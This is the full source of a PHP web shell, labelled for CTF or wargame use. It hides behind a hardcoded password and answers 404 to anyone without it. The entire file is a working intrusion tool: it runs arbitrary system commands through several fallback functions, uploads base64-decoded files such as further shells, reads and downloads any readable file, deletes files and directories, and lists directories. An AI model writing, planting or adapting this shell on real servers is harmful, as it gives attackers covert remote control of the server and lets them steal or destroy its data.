<?php
// ============================================
// 
// ============================================

$password = "wargame123";

// ============================================
// BLIND AUTH - 
// ============================================
if (!isset($_GET['auth']) || $_GET['auth'] !== $password) {
    // 
    http_response_code(404);
    exit;
}

// ============================================
// 
// ============================================
function execute($cmd) {
    if (function_exists('system')) {
        ob_start();
        system($cmd);
        return ob_get_clean();
    } elseif (function_exists('exec')) {
        return exec($cmd);
    } elseif (function_exists('shell_exec')) {
        return shell_exec($cmd);
    } elseif (function_exists('passthru')) {
        ob_start();
        passthru($cmd);
        return ob_get_clean();
    } else {
        return "❌ No command execution function available.";
    }
}

// ============================================
// (GET)
// ============================================
if (isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];
    $output = execute($cmd);
    $cmd_display = htmlspecialchars($cmd);
    $output_display = htmlspecialchars($output);
}

// ============================================
//  (GET + base64)
// ============================================
if (isset($_GET['upload_file']) && isset($_GET['file_content'])) {
    $filename = $_GET['upload_file'];
    $content = base64_decode($_GET['file_content']);
    $path = $_GET['upload_path'] ?? getcwd() . '/' . $filename;
    
    if (file_put_contents($path, $content)) {
        $upload_result = "✅ File uploaded to: " . htmlspecialchars($path);
    } else {
        $upload_result = "❌ Upload failed.";
    }
}

// ============================================
//  (GET)
// ============================================
if (isset($_GET['download'])) {
    $file = $_GET['download'];
    if (file_exists($file) && is_readable($file)) {
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($file) . '"');
        readfile($file);
        exit;
    } else {
        die("❌ File not found or unreadable.");
    }
}

// ============================================
// (GET)
// ============================================
if (isset($_GET['delete'])) {
    $file = $_GET['delete'];
    if (file_exists($file)) {
        if (is_dir($file)) {
            $delete_result = rmdir($file) ? "✅ Directory deleted: " . htmlspecialchars($file) : "❌ Failed to delete directory.";
        } else {
            $delete_result = unlink($file) ? "✅ File deleted: " . htmlspecialchars($file) : "❌ Failed to delete file.";
        }
    } else {
        $delete_result = "❌ File not found: " . htmlspecialchars($file);
    }
}

// ============================================
//  (GET)
// ============================================
if (isset($_GET['read'])) {
    $file = $_GET['read'];
    if (file_exists($file) && is_readable($file)) {
        $file_content = file_get_contents($file);
        $file_content_display = htmlspecialchars($file_content);
        $file_read_result = true;
    } else {
        $file_read_error = "❌ File not found or unreadable.";
    }
}

// ============================================
//  (GET)
// ============================================
if (isset($_GET['ls'])) {
    $path = $_GET['ls'] ?? getcwd();
    if (is_dir($path)) {
        $files = scandir($path);
        $dir_list = [];
        foreach ($files as $file) {
            $fullpath = $path . '/' . $file;
            if (is_dir($fullpath)) {
                $dir_list[] = "📁 <strong>$file/</strong>";
            } else {
                $dir_list[] = "📄 $file (" . filesize($fullpath) . " bytes)";
            }
        }
        $dir_path = htmlspecialchars($path);
    } else {
        $dir_error = "❌ Invalid directory: " . htmlspecialchars($path);
    }
}

// ============================================
// Web Shell UI
// ============================================
?>
<!DOCTYPE html>
<html>
<head>
    <title>⚡ Web Shell</title>
    <style>
        body { background: #0d0d0d; color: #c0c0c0; font-family: 'Courier New', monospace; padding: 20px; }
        .container { max-width: 950px; margin: auto; background: #1a1a1a; padding: 25px; border-radius: 12px; border: 1px solid #333; }
        input, textarea, select { background: #2a2a2a; color: #00ff00; border: 1px solid #444; padding: 10px; border-radius: 6px; width: 100%; margin: 5px 0; font-family: inherit; }
        input[type="submit"] { background: #005500; color: #00ff00; border: 1px solid #00ff00; cursor: pointer; width: auto; padding: 10px 30px; font-weight: bold; }
        input[type="submit"]:hover { background: #007700; }
        .output { background: #111; border: 1px solid #333; padding: 15px; border-radius: 6px; margin-top: 10px; overflow-x: auto; white-space: pre-wrap; word-break: break-all; }
        .label { color: #ffaa00; font-weight: bold; }
        hr { border: 1px solid #333; margin: 20px 0; }
        h1 { color: #00ff00; text-shadow: 0 0 10px #00ff0055; }
        .info { color: #888; font-size: 12px; }
        .badge { background: #005500; color: #00ff00; padding: 2px 10px; border-radius: 4px; font-size: 11px; }
        .url-example { background: #0a0a0a; padding: 8px; border-radius: 4px; color: #00cc00; font-size: 13px; border-left: 3px solid #00ff00; }
        .grid-2 { display: grid; grid-template-columns: 1fr 1fr; gap: 15px; }
        @media (max-width: 600px) { .grid-2 { grid-template-columns: 1fr; } }
    </style>
</head>
<body>
<div class="container">
    <h1>⚡ Web Shell <span class="badge">?auth=wargame123</span></h1>
    <p class="info">🔐 Wargame / CTF Educational Purpose Only</p>
    
    <div class="url-example">
        🔗 Example: <strong>?auth=wargame123&cmd=whoami</strong>
    </div>
    <hr>

    <!-- ====== Command Executor ====== -->
    <h3>📟 Command Executor</h3>
    <form method="GET">
        <input type="hidden" name="auth" value="<?php echo htmlspecialchars($password); ?>">
        <input type="text" name="cmd" placeholder="Enter system command..." 
               value="<?php echo isset($_GET['cmd']) ? htmlspecialchars($_GET['cmd']) : ''; ?>">
        <input type="submit" value="▶ Execute">
    </form>
    <?php if (isset($_GET['cmd']) && isset($output)): ?>
    <div class="output">
        <span class="label">$ <?php echo $cmd_display; ?></span><br>
        <?php echo $output_display; ?>
    </div>
    <?php endif; ?>

    <hr>

    <!-- ====== File Browser ====== -->
    <h3>📂 File Browser</h3>
    <form method="GET">
        <input type="hidden" name="auth" value="<?php echo htmlspecialchars($password); ?>">
        <input type="text" name="ls" placeholder="Directory path" 
               value="<?php echo isset($_GET['ls']) ? htmlspecialchars($_GET['ls']) : getcwd(); ?>">
        <input type="submit" value="📂 List">
    </form>
    <?php if (isset($_GET['ls']) && isset($dir_list)): ?>
    <div class="output">
        <span class="label">📁 <?php echo $dir_path; ?></span><br>
        <?php echo implode("<br>", $dir_list); ?>
    </div>
    <?php elseif (isset($dir_error)): ?>
    <div class="output"><?php echo $dir_error; ?></div>
    <?php endif; ?>

    <hr>

    <!-- ====== File Uploader (Base64 GET) ====== -->
    <h3>📤 File Uploader (Base64)</h3>
    <form method="GET">
        <input type="hidden" name="auth" value="<?php echo htmlspecialchars($password); ?>">
        <input type="text" name="upload_file" placeholder="Filename (e.g., shell.php)" 
               value="<?php echo isset($_GET['upload_file']) ? htmlspecialchars($_GET['upload_file']) : ''; ?>">
        <textarea name="file_content" rows="4" placeholder="File content (base64 encoded)"><?php 
            echo isset($_GET['file_content']) ? htmlspecialchars($_GET['file_content']) : ''; 
        ?></textarea>
        <input type="text" name="upload_path" placeholder="Upload path (optional, default: current dir)"
               value="<?php echo isset($_GET['upload_path']) ? htmlspecialchars($_GET['upload_path']) : ''; ?>">
        <input type="submit" value="📤 Upload">
    </form>
    <?php if (isset($upload_result)): ?>
    <div class="output"><?php echo $upload_result; ?></div>
    <?php endif; ?>
    
    <div class="info" style="margin-top:5px;">
        💡 Base64 encode: <strong>echo "&lt;?php phpinfo(); ?&gt;" | base64</strong>
    </div>

    <hr>

    <!-- ====== File Read ====== -->
    <h3>📖 File Reader</h3>
    <form method="GET">
        <input type="hidden" name="auth" value="<?php echo htmlspecialchars($password); ?>">
        <input type="text" name="read" placeholder="/path/to/file" 
               value="<?php echo isset($_GET['read']) ? htmlspecialchars($_GET['read']) : ''; ?>">
        <input type="submit" value="📖 Read">
    </form>
    <?php if (isset($_GET['read']) && isset($file_read_result)): ?>
    <div class="output">
        <span class="label">📄 <?php echo htmlspecialchars($_GET['read']); ?></span><br>
        <pre style="margin:0;color:#00ff00;"><?php echo $file_content_display; ?></pre>
    </div>
    <?php elseif (isset($file_read_error)): ?>
    <div class="output"><?php echo $file_read_error; ?></div>
    <?php endif; ?>

    <hr>

    <!-- ====== File Delete ====== -->
    <h3>🗑️ File/Directory Delete</h3>
    <form method="GET">
        <input type="hidden" name="auth" value="<?php echo htmlspecialchars($password); ?>">
        <input type="text" name="delete" placeholder="/path/to/delete" 
               value="<?php echo isset($_GET['delete']) ? htmlspecialchars($_GET['delete']) : ''; ?>">
        <input type="submit" value="🗑️ Delete" onclick="return confirm('⚠️ Really delete?')">
    </form>
    <?php if (isset($delete_result)): ?>
    <div class="output"><?php echo $delete_result; ?></div>
    <?php endif; ?>

    <hr>

    <!-- ====== Quick Actions ====== -->
    <h3>⚡ Quick Commands</h3>
    <div class="grid-2">
        <a href="?auth=<?php echo $password; ?>&cmd=whoami" style="color:#00ff00;text-decoration:none;background:#2a2a2a;padding:10px;border-radius:6px;text-align:center;border:1px solid #333;">👤 whoami</a>
        <a href="?auth=<?php echo $password; ?>&cmd=id" style="color:#00ff00;text-decoration:none;background:#2a2a2a;padding:10px;border-radius:6px;text-align:center;border:1px solid #333;">🆔 id</a>
        <a href="?auth=<?php echo $password; ?>&cmd=uname -a" style="color:#00ff00;text-decoration:none;background:#2a2a2a;padding:10px;border-radius:6px;text-align:center;border:1px solid #333;">💻 uname -a</a>
        <a href="?auth=<?php echo $password; ?>&cmd=ls -la" style="color:#00ff00;text-decoration:none;background:#2a2a2a;padding:10px;border-radius:6px;text-align:center;border:1px solid #333;">📂 ls -la</a>
        <a href="?auth=<?php echo $password; ?>&cmd=pwd" style="color:#00ff00;text-decoration:none;background:#2a2a2a;padding:10px;border-radius:6px;text-align:center;border:1px solid #333;">📁 pwd</a>
        <a href="?auth=<?php echo $password; ?>&cmd=php -v" style="color:#00ff00;text-decoration:none;background:#2a2a2a;padding:10px;border-radius:6px;text-align:center;border:1px solid #333;">🐘 php -v</a>
    </div>

    <hr>

    <!-- ====== System Info ====== -->
    <h3>ℹ️ System Info</h3>
    <div class="output">
        <strong>Current User:</strong> <?php echo execute('whoami'); ?><br>
        <strong>Current Dir:</strong> <?php echo getcwd(); ?><br>
        <strong>PHP Version:</strong> <?php echo phpversion(); ?><br>
        <strong>OS:</strong> <?php echo php_uname(); ?><br>
        <strong>Server:</strong> <?php echo $_SERVER['SERVER_SOFTWARE']; ?>
    </div>

    <hr>
    <p class="info">⚠️ This shell is for authorized CTF/wargame environments only.</p>
</div>
</body>
</html>
